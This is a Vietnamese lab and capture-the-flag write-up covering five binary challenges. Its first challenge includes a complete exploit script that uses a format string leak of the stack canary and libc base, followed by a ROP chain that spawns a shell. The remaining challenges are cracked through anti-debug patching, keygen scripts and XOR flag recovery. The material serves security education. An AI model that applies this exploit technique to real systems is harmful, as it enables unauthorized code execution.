# NT209 Lab 5-6 ## Bài 1: Recon ```linux /mnt/d/sup3rshy/nodox/nodox/nodox ❯ file ch1 ch1: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=f3c8205e42fba83a9cea0af79f2da1e7fe1632a5, for GNU/Linux 3.2.0, not stripped /mnt/d/sup3rshy/nodox/nodox/nodox ❯ pwn checksec ch1 [*] '/mnt/d/sup3rshy/nodox/nodox/nodox/ch1' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled Stripped: No ``` Nhìn sơ thì có **format string** + **buffer overflow**: ![image](https://hackmd.io/_uploads/r1ccgmWVWe.png) ![image](https://hackmd.io/_uploads/BkWjemWEZx.png) Có 2 chỗ **bof** lun. Bài này là full giáp -> nhưng có loop **format string** thì mọi thứ gần như vô nghĩa + có **bof** nữa thì còn dễ hơn -> có bao nhiêu leak bấy nhiêu, leak tanh bành cái binary (canary + libc). (Òm thì **Partial RELRO** nên có thể **GOT overwrite** nữa). ![image](https://hackmd.io/_uploads/rJJAlQbEWe.png) Thế làm sao để leak, tận dụng đc bug **format string**? ![image](https://hackmd.io/_uploads/SkeNb7ZVbg.png) Ví dụ như bth là nó `printf("%s", some_string)` như này, thì nó sẽ in ra cái string ở `rsi`. Nhưng khi có bug `format string` thì mình có thể control được nó sẽ in ra cái gì (tức là control cái `"%s"` ở trên), lúc này nó sẽ leak theo calling convention `rsi -> rdx -> rcx -> r8 -> r9 -> rsp -> rsp + 8 -> rsp + 0x10 -> ...`. Lí do leak như vậy đơn giản là vì calling convention nó như thế, tưởng tượng nó như kiểu `printf("%s", rsi)` hay `printf("%s%s", rsi, rdx)`. Kể cả `rsi` và `rdx` nó không gán cái gì trước đó nhưng vì chương trình hiểu nó là tham số của `printf` nên leak được. ![image](https://hackmd.io/_uploads/r1lz7NZ4Ze.png) output: ``` 5555555596b1.0.7ffff7e038e0.5555555596fb.0.37f.203e7e5d785bd005.6c6c252e786c6c25.252e786c6c252e78.786c6c252e786c6c.6c252e786c6c252e.2e786c6c252e786c.6c6c252e786c6c25.252e786c6c252e78.786c6c252e786c6c ``` ![Screenshot 2025-12-30 181728](https://hackmd.io/_uploads/BJrEr4b4bl.png) `rbp - 0x110 = 0x7fffffffd4d0` và `rbp - 0x8` chứa canary (as always). ![Screenshot 2025-12-30 182116](https://hackmd.io/_uploads/B1PP8Vb4-x.png) output: ``` 0x5555555596b1.(nil).0x7ffff7e038e0.0x55555555971c.(nil).0x37f.0x203e7e5d785bd005.0x70252e70252e7025.0x252e70252e70252e.0x2e70252e70252e70.0x70252e70252e7025.0x252e70252e70252e.0x2e70252e70252e70.0x70252e70252e7025.0x252e70252e70252e.0x2e70252e70252e70.0x70252e70252e7025.0x252e70252e70252e.0x2e70252e70252e70.0x70252e70252e7025.0x70252e.0x800.0x300000.0x8000.0x400000.0x400000.0x80000.0x8000.0x7fffffffd5a8.0x6000000017.(nil).(nil).(nil).(nil).(nil).(nil) ``` Nãy giờ mình spam ảnh như thế để hiểu rõ quy luật thui :)) Và cta để ý có thể leak đc libc từ `rcx = _IO_2_1_stdin_`. Và để ý stack được leak ra từ cái `%p` thứ 6. Để leak thì dùng `%{index}$p` là được. Vd như muốn leak ở `rsp -> %6$p`: ![image](https://hackmd.io/_uploads/S1xtt4Z4-x.png) output lúc này sẽ ra `0x37f`. canary ở `[rbp - 0x8]`, rsp lúc này là `rbp - 0x120` (để ý sub rsp, 0x120 ở ban đầu setup stack frame). Làm toán nào `6 + (0x120 - 8) / 8 = 41` Vậy payload leak canary là `%41$p` còn leak libc là `%3$p` (leak rc). Ở đây thấy 2 cái gets nên có 2 cách trigger **bof**: ![image](https://hackmd.io/_uploads/ry-Jn4Z4bx.png) :::info 1 - ngắt gets ở main (hmm mình test thì hình như là p.shutdown("send"), nó sẽ gửi EOF) 2 - cho nó trigger **gets** ở hàm **send** ::: Ở đây bài không cho **libc** nên xài **libc** mặc định chứ sao giờ :)) Viết nãy giờ cũng khá chi tiết ròi, viết exploit thôi: Ở đây mình lười nên dùng `onegadget`. ![image](https://hackmd.io/_uploads/SJw9brWE-e.png) ![image](https://hackmd.io/_uploads/BkI_BSbV-x.png) À mà hnhu cách 1 nó close stdin mất nên sẽ ko được :))) Dung cach 2 nhe Script (mình làm 2 cách luôn, onegadget thì phải payload khéo hơn xíu để cho nó đủ điều kiện): ```python #!/usr/bin/python3 from pwn import * context.terminal = ['tmux', 'splitw', '-h'] script = ''' start breakrva 0x1361 ''' # context.log_level = 'debug' lib = ELF('/lib/x86_64-linux-gnu/libc.so.6') elf = context.binary = ELF('./ch1') context.arch = "amd64" p = process('./ch1') # p = gdb.debug("./ch1", gdbscript = script) one_gadget = 0xef52b p.recvuntil(b'C interactive firewall\n\n') p.sendline(b'%3$p') p.recvuntil(b'[x]~> ') leak = int(p.recvline(), 16) log.info(f'leak: {hex(leak)}') base = leak - lib.symbols["_IO_2_1_stdin_"] log.info(f'base: {hex(base)}') p.sendline(b'%41$p') p.recvuntil(b'[x]~> ') canary = int(p.recvline(), 16) log.info(f'canary: {hex(canary)}') one_gadget += base bin_sh = base + 0x00000000001cb42f pop_rdi = base + 0x000000000010f78b pop_rsi = base + 0x1261b1 pop_rdx_pop_pop_pop_pop = base + 0x00000000000b503c pop_rax = base + 0xdd237 syscall = base + 0x18e2b2 payload = flat(b'\x00' * 0x108, p64(canary), b'\x00' * 8, p64(pop_rdi), p64(bin_sh), p64(pop_rsi), p64(0), p64(pop_rdx_pop_pop_pop_pop), p64(0) * 5, p64(pop_rax), p64(0x3b), p64(syscall)) # p.sendline(b'%p') # p.recvuntil(b'[x]~> ') # writable_section = int(p.recvline(), 16) # log.info(f'writable_section: {hex(writable_section)}') # payload = flat(b'\x00' * 0x108, p64(canary), p64(writable_section), # p64(one_gadget)) p.sendline(b'connect') p.sendline(b'send') p.sendline(payload) p.interactive() ``` ```linux ~/NT209 12s [+] Starting local process './ch1': pid 18766 [*] leak: 0x7325172038e0 [*] base: 0x732517000000 [*] canary: 0xa10031d311085300 [*] Switching to interactive mode [x]~> connect Opening a connetion to the firewall... Done. [*]~> send Enter something that should be sent to the network to test the firewall $ whoami m1zuguchi ``` ## Bài 2: Có `anti tampering` + `anti debug (time check)` + có `IsDebuggerPresent` nữa (nma cái này thì đặt bp bypass là đc). **Anti tampering** ở đoạn này: ![image](https://hackmd.io/_uploads/HkVuXub4-g.png) Nchung là nếu có patch binary hoặc đặt breakpoint gì đó thì checksum nó sẽ bị sai -> dẫn đến đoạn này bị sai. Check thấy điều kiện thỏa là cái mảng đó bằng 0 hết nên patch là đc: ![image](https://hackmd.io/_uploads/HkjxV_bNbg.png) Chỗ `StartAddress` này là hàm check time, nếu time chênh lệch quá lớn thì exit: ![image](https://hackmd.io/_uploads/Skc_VdWEZx.png) ![image](https://hackmd.io/_uploads/HyXcNuZNZl.png) Nó sẽ gọi thread này rất nhiều lần. Mà khi thread gọi hàm `exit` của C thì hình như thằng **process** ngỏm luôn thì phải? (Debug đủ là biết). Patch cái exit thành nop là xong (điều kiện tiên quyết là đã bypass được cái checksum, không thì sẽ sai tùm lum khúc này). Sau khi patch: ![image](https://hackmd.io/_uploads/BkJEHOWVWl.png) Patch xong hết rồi giờ thì ko còn gì cản ta debug nữa ? Bài này hoàn toàn có thể giải bằng 100% debug 0% LLM. Nchung chỉ cần quan tâm hàm này: ```c int __cdecl main_check_logic(char *Buffer) { int n2; // eax _BOOL2 n2_1; // ax int v3; // [esp+10h] [ebp-28h] signed int k_1; // [esp+14h] [ebp-24h] char *String; // [esp+18h] [ebp-20h] signed int j_1; // [esp+1Ch] [ebp-1Ch] signed int i_1; // [esp+20h] [ebp-18h] signed int k; // [esp+24h] [ebp-14h] signed int j; // [esp+28h] [ebp-10h] signed int i; // [esp+2Ch] [ebp-Ch] n2 = (unsigned __int16)check_val_3; if ( check_val_3 ) { n2_1 = !strcmp(Buffer + 12, ::Buffer) && !strcmp(Buffer + 62, Source); check_val_3 = n2_1; i_1 = strlen(::Buffer); j_1 = strlen(Source); String = Buffer + 112; n2 = (unsigned __int16)check_val_3; if ( check_val_3 == 1 ) { n2 = n2_2; if ( !n2_2 ) { if ( n5 == 5 ) strrev(String); k_1 = strlen(String); for ( i = 0; i < i_1; ++i ) ::Buffer[i] %= 16; for ( j = 0; j < j_1; ++j ) Source[j] %= 16; for ( k = 0; ; ++k ) { n2 = k; if ( k >= k_1 ) break; v3 = sub_402190((unsigned __int8)String[k]); if ( k >= j_1 ) { if ( k >= i_1 + j_1 ) { String[k] = 0; } else if ( v3 == ::Buffer[i_1 - (k - j_1) - 1] ) { String[k] = -1; } else { String[k] = 0; } } else if ( v3 == Source[j_1 - k - 1] ) { String[k] = -1; } else { String[k] = 0; } } } } } return n2; } ``` :::info - Ở đây **Buffer = UserName**, **Source = ComputerName** ```c pcbBuffer = 100; GetUserNameA(::Buffer, &pcbBuffer); pcbBuffer = 100; GetComputerNameA(Source, &pcbBuffer); ``` ::: Final script: ```python #!/usr/bin/python3 user_name = b'Nhan' user_name = [x % 16 for x in user_name] computer_name = b'LAPTOP-224O4NK2' computer_name = [x % 16 for x in computer_name] ans = '' for x in computer_name[::-1]: ans += hex(x)[2:] for x in user_name[::-1]: ans += hex(x)[2:] print(ans.upper()[::-1]) ``` ![image](https://hackmd.io/_uploads/H1c_IO-EZx.png) ## Bài 3: Recon ```linux ~/NT209 ❯ file ch3 ch3: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=3e0bc53b0b5739a9f0c588fafc92ec6cfdde1b42, not stripped ~/NT209 ❯ ltrace ./ch3 flag.txt fopen("flag.txt", "rt") = 0x589d87c1f2a0 fgetc(0x589d87c1f2a0) = 'W' fgetc(0x589d87c1f2a0) = '1' fgetc(0x589d87c1f2a0) = '{' fgetc(0x589d87c1f2a0) = 'f' fgetc(0x589d87c1f2a0) = 'a' fgetc(0x589d87c1f2a0) = 'k' fgetc(0x589d87c1f2a0) = 'e' fgetc(0x589d87c1f2a0) = '_' fgetc(0x589d87c1f2a0) = 'f' fgetc(0x589d87c1f2a0) = 'l' fgetc(0x589d87c1f2a0) = 'a' fgetc(0x589d87c1f2a0) = 'g' fgetc(0x589d87c1f2a0) = '_' fgetc(0x589d87c1f2a0) = 'f' fgetc(0x589d87c1f2a0) = 'o' fgetc(0x589d87c1f2a0) = 'r' fgetc(0x589d87c1f2a0) = '_' fgetc(0x589d87c1f2a0) = 't' fgetc(0x589d87c1f2a0) = 'e' fgetc(0x589d87c1f2a0) = 's' fgetc(0x589d87c1f2a0) = 't' fgetc(0x589d87c1f2a0) = 'i' fgetc(0x589d87c1f2a0) = 'n' fgetc(0x589d87c1f2a0) = 'g' fgetc(0x589d87c1f2a0) = '}' fgetc(0x589d87c1f2a0) = '\377' printf("the generated key is: ") = 22 printf("%d", 2) = 1 printf("%d", 0) = 1 printf("%d", 0) = 1 printf("%d", 0) = 1 printf("%d", 2) = 1 printf("%d", 3) = 1 printf("%d", 2) = 1 printf("%d", 0) = 1 printf("%d", 1) = 1 printf("%d", 0) = 1 printf("%d", 1) = 1 printf("%d", 1) = 1 printf("%d", 0) = 1 printf("%d", 1) = 1 printf("%d", 1) = 1 printf("%d", 0) = 1 printf("%d", 0) = 1 printf("%d", 1) = 1 printf("%d", 1) = 1 printf("%d", 2) = 1 printf("%d", 0) = 1 printf("%d", 0) = 1 printf("%d", 1) = 1 printf("%d", 0) = 1 printf("%d", 0) = 1 printf("%d", 0) = 1 putchar(10, 0x7ffcc374f3c0, 48, 0the generated key is: 20002320101101100112001000 ) = 10 strcmp("20002320101101100112001000", "01234567890123456789012345") = 2 puts("you failed!!"you failed!! ) = 13 +++ exited (status 0) +++ ``` Thông tin khá hữu ích Mở ra thì thấy bài này khá straight forward ![image](https://hackmd.io/_uploads/BkMOOdWVZg.png) Script solve: ```python #!/usr/bin/python3 mp = '01234567890123456789012345' mp = [ord(x) - ord('0') for x in mp] for i in range(len(mp)): print(chr(ord('a') + i) * mp[i], end = '') ``` ```linux ~/NT209 ❯ ./ch3 key the generated key is: 01234567890123456789012345 you succeed!! ``` ## Bài 4: ```c int __fastcall main(int argc, const char **argv, const char **envp) { int n5; // ebx int value; // eax __int64 n30; // rcx char v6; // si int v7; // edx int xor_value; // r9d bool v10; // cc _DWORD *a; // rax int n1073840184; // edx const char *Try_again_; // rdi int value_1; // [rsp+4h] [rbp-14h] BYREF unsigned __int64 v16; // [rsp+8h] [rbp-10h] n5 = 0; v16 = __readfsqword(0x28u); do { __isoc99_scanf(&unk_555555556004, &value_1, envp); value = value_1; n30 = 30LL; v6 = 0; v7 = 0; while ( ((value >> n30) & 1) == 0 ) { LABEL_9: if ( n30-- == 0 ) { if ( v6 ) value_1 = value; goto LABEL_12; } } xor_value = ::a[n30]; if ( xor_value ) { ++v7; value ^= xor_value; v6 = 1; goto LABEL_9; } if ( v6 ) value_1 = value; ::a[(int)n30] = value; LABEL_12: v10 = v7 <= 1; envp = (const char **)(unsigned int)(v7 - 1); if ( v10 && n5 > 1 ) { LABEL_18: Try_again_ = "Try again!"; goto LABEL_19; } ++n5; } while ( n5 != 5 ); a = ::a; n1073840184 = 0; do n1073840184 += *a++; while ( a != &::a[31] ); Try_again_ = "Congrats!"; if ( n1073840184 != 0x40018038 ) goto LABEL_18; LABEL_19: puts(Try_again_); return 0; } ``` Tóm lại là nhập 5 số, duyệt bit đầu tiên tính từ trái sang phải 30->0, tìm bit bật đầu tiên hoặc tiếp theo, nếu ở đó chưa có giá trị nào đc gán thì gán. Ngược lại thì xor giá trị đó rồi đi duyệt tìm bit tiếp theo bật. Nếu index ở bit đó được gán giá trị rồi thì duyệt tiếp -> cứ tiếp tục như vậy. Ta để ý từ lần lặp thứ `3, 4, 5` thì cần `v7 >= 2`. Vậy ta thấy chỉ cần setup `x1 | x2 = x3 = x4 = x5` là đc. Mà còn thêm 1 đk nữa là `a[0] + a[1] + ... a[31] = 0x40018038` Nên ở đây chọn đc nhiều gtri ```linux ~/NT209 ❯ ./ch4 1073741824 98360 1073840184 1073840184 1073840184 Congrats! ~/NT209 50s ❯ ./ch4 1073840176 8 1073840184 1073840184 1073840184 Congrats! ``` Chọn sao cho nó thỏa đk là đc ## Bài 5: Mở IDA ra luôn ![image](https://hackmd.io/_uploads/HkkEtObVWx.png) Nhìn ngay đoạn này mình nghĩ ko phải dump ra mấy giá trị đó là xong rồi à:))) ``` >>> s = bytes.fromhex('27 2D 20 26 3A 73 71 73 71 1E 32 20 2F 20 1E 32 20 72 28 25 20 7B 68 3C') >>> from pwn import xor >>> xor(s, 0x41) b'flag{2020_sana_sa3ida:)}' ``` ```linux ~/NT209 ❯ ./ch5 'flag{2020_sana_sa3ida:)}' Congratulations !! you solved the first challenge. ``` Bruh